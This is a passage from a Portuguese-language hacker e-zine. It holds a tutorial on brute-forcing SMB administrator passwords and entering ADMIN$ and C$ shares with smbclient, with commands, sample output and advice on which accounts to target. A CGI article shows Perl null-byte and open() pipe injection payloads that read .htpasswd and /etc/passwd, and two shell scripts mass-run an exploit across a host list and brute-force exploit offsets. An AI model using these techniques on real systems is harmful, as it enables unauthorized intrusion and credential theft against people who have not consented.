             \.                                  ./
               \.                              ./
                 \.                          ./
                   \.                      ./
                     \.                  ./
                          Chave Secreta
                           para A e B

RSA: o mais importante metodo de criptografia assimetrico e' o RSA, cujo
nome deriva das iniciais dos autores, Rivest, Shamir e Aldeman. O metodo
RSA baseia-se na dificuldade de fatorar numeros primos muito grandes.

E isso e' o basico da seguranca de dados. Para saber mais, leia, leia, leia
ou leia.

Cansei de escrever, vou ficar louco se eu escrever mais por hoje.
Espero que este pouco que escrevi sem dar uma finalizacao possa ajudar alguem.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`

-=[  10  ]=-
.--------------.
| =    SMB    = \____________________________________________________________
`----------------------------------------------------------------------------'
                             por DaveMustaine

Opa...nesta materia..vou ensinar como usar o smbclient nas suas brincadeiras.
Bom....vamos a um poco de materia...basico!

1. O que eh NETBios:
Bom...isso ae..eh um protocolo de transporte e de sessao, de uso
geral, primeiramente destinados a acesso de arkivos e impressao.
(foda-se isso :) )

2. Como ele trabalha.
O netbios trabalha como modo de Broadcasting, assim..se uma makina
recebe um determinado pacote..todas as outras que estiverem
conectadas a elareceberao (isso em redelocal), mas soh akela que for
makina-destino ira assimilar o pacote.

tah bom..soh pra conhecer um poco..dele....agora vo falar como usa-la
(porta 139 NetBios) para brincadeira..

O que eu preciso?
ingredientes:
- o Samba instalado em seu linux ou *nix.
- uma boa wordlist...nem precisa ser taum boa...media vc pega bastante
coisa
- um pokinho de paciencia
- um prog. chamado NAT
- que a porta (139) NetBios esteja aberta no Sistema-alvo.
**************************************************************************

1. Vc pega o tal do NAT(prog mencionado acima)...executa ele com o
seguinte sintaxe:
./nat -o logdahost -u listadeusuarios.txt -p listadesenhas.txt
www.host.com

[*]--- Reading usernames from listadeusuarios.txt
[*]--- Reading passwords from listadesenhas.txt

[*]--- Checking host: www.host.com

-depois de executado..ele aparecera assim como esta acima:

2. ae ele vai verifikar as senhas....eh um super brute force..bem rapidao
mesmo......se ele achar senhas...e tal..ira aparecer algo assim:
[*]--- Checking write access in: \\WWW\ADMIN$
[*]--- WARNING: Directory is writeable: \\WWW\ADMIN$
[*]--- Attempting to exercise .. bug on: \\WWW\ADMIN$
[*]--- Checking write access in: \\WWW\C$
[*]--- WARNING: Directory is writeable: \\WWW\C$
[*]--- Attempting to exercise .. bug on: \\WWW\C$
Connected to share \\WWW\ADMIN$ as user `ADMINISTRATOR' pass `12345'
Connected to share \\WWW\C$ as user `ADMINISTRATOR' pass `12345'

* repare acima..que esta escrito WRITEABLE..vc tem acesso para
ler...escrever..e apagar..tipow..faze tudo =-)

3. se aparecer isso...pinga...vc tah cum senhas..para entrar...agora
vc ira usar o smbclient....

4. Pronto..vc tem as senhas..agora siga o exemplo..abaixo..relacionado
com o exemplo assim.
Vamos dizer que nos achamos essas senhas..agora vc faz assim:

smbclient ////WWW//ADMIN$ -U "ADMINSTRATOR" -I www.host.com

Added interface ip=127.0.0.1 bcast=127.255.255.255 nmask=255.0.0.0
password:

aki acima..vc digita a password...e entra..pronto..o password vc sabe neh?
leia acima lah.... '12345' (sem as aspas eh claro)...os comandos do
smbclient..eh kuase igual ao ftp...digita help lah..q vc vera...

OBS: No arkivo listadeusuarios.txt ..pode ser bem pequeno...use somente
os users mais conhecidos..e que lhe tragam alguma vantagem se vc conseguir
as senhas...os conhecidos saum o : ADMIN, ADMINISTRATOR, BACKUP, DEMO e
ROOT ..o mais comum eh o ADMINISTRATOR..
por exemplo: se o sistema que vc ker invadir..eh Rwindowze...uso somente o
ADMINISTRATOR E ADMIN...se for um *nix... use ROOT, ADMINISTRATOR,
BACKUP, e outros ae...saum os melhores..e que trarao resultado proce.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Valeu ae galera....muitos podem achar isso uma lamisse...outros podem
achar isso legal..naum me importo...quem nunca usou acha isso uma
merda?...eu achava isso tbm.... achava pq eu naum sabia...pq uma coisa eh
certa..qualquer conhecimento...mesmo que seja uma coisa meio "besta" vale
muito mais que uma coisa que vc naum sabe..e pensa que eh para lammers..e
naum leh por pura preguica...entaum..cada um faz o que kizer..eu prefiro
que voces leem e quem naum sabe sobre isso...aprenda..pq eh
facil...blah...blah..falo...chega.

Intel + ..falo.

     DaveMustaine
     `'`'`'`'`'`'

-=[  11  ]=-
.------------------------.
| = Como explorar CGI's = \__________________________________________________
`----------------------------------------------------------------------------'
                               por Cacaio

Os scripts CGI sao feitos com o proposito de usar as requisicoes do
cliente e do servidor e entao se tornar meio que uma "ponte" entre eles.
Se alguem pode mudar as variaveis em um script cgi, entao ele vai a uma camada
inferior no servidor para o servidor executar o que foi pedido.

Algumas falhas obvias:

-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
# este script e' para voce dar o nome de um arquivo e o script o abrir
# adicionando o tdk a sua extensao.
$pedido = $ENV{'QUERY_STRING'};
open(HTMLFILE, "<$pedido.tdk");
while(<HTMLFILE>) {
      print;
}
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------

Olhando rapidamente, tudo parece certo, correto?
Nao! Vamos dizer que os arquivos .tdk sao arquivos de bancos de dados.
Se quisermos abrir um arquivo como teste.tdk nos iriamos a:
http://servidor.com/cgi-bin/cgizaum.cgi?teste
e isso abriria o teste.tdk e o mostraria.

Se o servidor tem um arquivo .htpasswd, por exemplo, e voce quer abrir ele,
voce vai usar cgizaum.cgi?.htpasswd . Isso vai fazer o cgi tentar abrir
.htpasswd.tdk o qual nao existe. Mas com um truque simples podemos pegar este
arquivo. Ao inves de abrir cgizaum.cgi?.htpasswd, nos vamos abrir
cgizaum.cgi?.htpasswd%00

O perl vai ver isso como .htpasswd\0, e vai interpretar este \0 como um
limite. Entao, vai se livrar do .tdk e vai abrir pra voce o .htpasswd.

Tambem pode ser usado neste caso cgizaum.cgi?cgizaum.cgi%00, e assim vermos
o codigo fonte do script.

Outro exemplo disso e' quando o script nao deixa voce ter acesso a algum
arquivo...

-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
# este e' um exemplo no qual voce pode escrever em um arquivo, mas antes
# checa se pode escrever no arquivo escolhido

$openfile = "/etc/passwd\0hahaenganeioscript";
die "voce nao ta abrindo meu arquivo passwd" if ($openfile eq "/etc/passwd");
if (-e $openfile) {
   open(FILE, ">$openfile");
   }
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------

Este exemplo nao e' dificil de se entender.

Ele tenta ter certeza de que voce pode acessar o /etc/passwd checando com
o "if". Novamente, o truque do \0 pode ser usado e assim poderemos escrever
no /etc/passwd.

Uma maneira facil de previnir este tipo de coisas e' simplesmente nao aceitar
alguns caracteres.

Colocando a seguinte linha, voce ja nao aceita o /0.

if ($file =~ s/\0//g) { die "nao funciona aqui"; } else { #seu script aki }

     .-----------------------.
     | O problema do open()   `--------------------------------.
     `==========-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

observe o seguinte script:

-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
$file = $ENV{'QUERY_STRING'};
open (FILE, $file);
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------

Se pedirmos pra abrir o index.html, ele vai abrir o index.html.
Mas se voce adicionar um | ao parametro, o open vai tentar executar.

Por exemplo:

-> if $file = /bin/sh;

vai apenas abrir o /bin/sh e mostrar codigos binarios.

-> if $file = /bin/sh|;

vai rodar o /bin/sh.

Como tirar proveito disso? Por exemplo:

-> $file = "/bin/cat /etc/passwd > /home/httpd/html/passwd.html|";

Isso sera' executado. agora use '$file = "paswd.html"' e entao voce tera
o passwd (considerando que o /etc/passwd esta' acessivel).

Isso conclui esta materia.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`'

-=[  12  ]=-
.------------------------.
| = Brinquedinhos bobos = \__________________________________________________
`----------------------------------------------------------------------------'
                               por Cacaio

Aqui estao alguns brinquedinhos bobos construidos a pedidos de amigos.
Sao apenas dois shell scripts, que podem ser uteis, inuteis ou ate' comicos.

O primeiro:

-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
#!/bin/sh

if [ $# -ne 2 ]
then
  echo "Lixo Scanner 1.pigarro por Cacaio"
  echo "http://www.deathknights.com"
  echo "Exploita uma lista d hosts 1 por 1 com qualquer exploit"
  echo "Uso: $0 <exploit> <lista>"
  exit 1
fi

for target in `cat $2`
do
  echo Checando $target ...
  $1 $target
done
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------

Acho que de olhar o codigo dele deu pra entender.
Nao deu? Uau! Ok.

Ele roda um programa(exploit) em varios hosts diferentes, contidos em um
arquivo, separados por linha.

Se o seu exploit precisar de parametros, contrua outro script com o exploit e
seus parametros e combine este script com o seu.

O segundo:

-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------
#!/bin/bash

offset=-5000
#menor offset

while [ $offset -lt 5000 ]; do
#maior offset
    /bin/sh `/caminho/programa $offset`
    offset=`expr $offset + 100`
#incrementacao do offset
done

echo "...pronto!"
-------xX !!! Corte Aqui !!! !!! Corte Aqui !!! !!! Corte Aqui !!! Xx-------

Tambem simples de entender. As vezes voce precisa usar um programa com varios
offsets diferentes.
Este script vai executar o programa com offsets diferentes, conforme voce
determinar.

Onde temos "-5000" neste script, e' o menor offset a ser usado.
Onde temos "5000" neste script, e' o offset maximo a ser usado.
Onde temos "100" neste script, e' a incrementacao. Ele incrementaria -5000,
-4900, -4800, ..., 1100, 1200,...

Como o proprio titulo diz, sao brinquedos bobos.
Como sao brinquedos, brinque com eles, use sua criatividade.

     Cacaio               cacaio@deathknights.com
     `'`'`'               `'`'`'`'`'`'`'`'`'`'`'`'

-=[  13  ]=-
.------------------.
| Ultimas Palavras  \________________________________________________________
`----------------------------------------------------------------------------'
                                 por Cacaio

        O zine nao acabou, e nem ira' acabar tao cedo. Mais edicoes estao
        por vir, aguarde!

        Se voce quiser mandar um e-mail dizendo o que achou do zine, dar su-
        gestoes, reclamar, elogiar, meter o pau, colocar alguma materia,
        conversar, ganhar dinheiro, jogar palitinho.. ops.. aih nao... algo
        errado... mas mesmo assim, esteja a vontade.

        AVISO:

        Este grupo nao visa nenhum fim lucrativo. Mas se ganharmos alguma
        coisinha nao reclamaremos. HEH. Nos fazemos isto por diversao e
        nada mais. Qualquer uso das informacoes contidas aqui nao e de nossa
        responsabilidade. Se voce fizer algo descrito e se der mal, problema
        seu. Nos ensinamos, mas nao pedimos para usarem o conhecimento
        adquirido com este zine.

        Ate o proximo numero!

 ______________________________Death_Knights_________________________________
 ----------------------------------------------------------------------------

                            Criticas? Sugestoes?

                           death@DeathKnights.com

M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI
M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[   ]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI
M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI
M]|[FIM]|                 |[FIM]|     |[FIM]|[FIM]        FIM        [FIM]|[FI
M]|[FIM]|                 |[FIM]|     |[FIM]|[FIM   FI    FIM    IM   FIM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FIM   FI     I     IM   FIM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FIM   FIM    I    FIM   FIM]|[FI
M]|[FIM]|           |[FIM]|[FIM]|     |[FIM]|[FIM   FIM         FIM   FIM]|[FI
M]|[FIM]|        IM]|[FIM]|[FIM]|     |[FIM]|[FIM   FIM]       [FIM   FIM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FI   [FIM]|[   ]|[FIM   FIM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FI   [FIM]|[   ]|[FIM]   IM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[FI   [FIM]|[F M]|[FIM]   IM]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[F    [FIM]|[F M]|[FIM]    M]|[FI
M]|[FIM]|     |[FIM]|[FIM]|[FIM]|     |[FIM]|[F    [FIM]|[FIM]|[FIM]    M]|[FI
M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI
M]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FIM]|[FI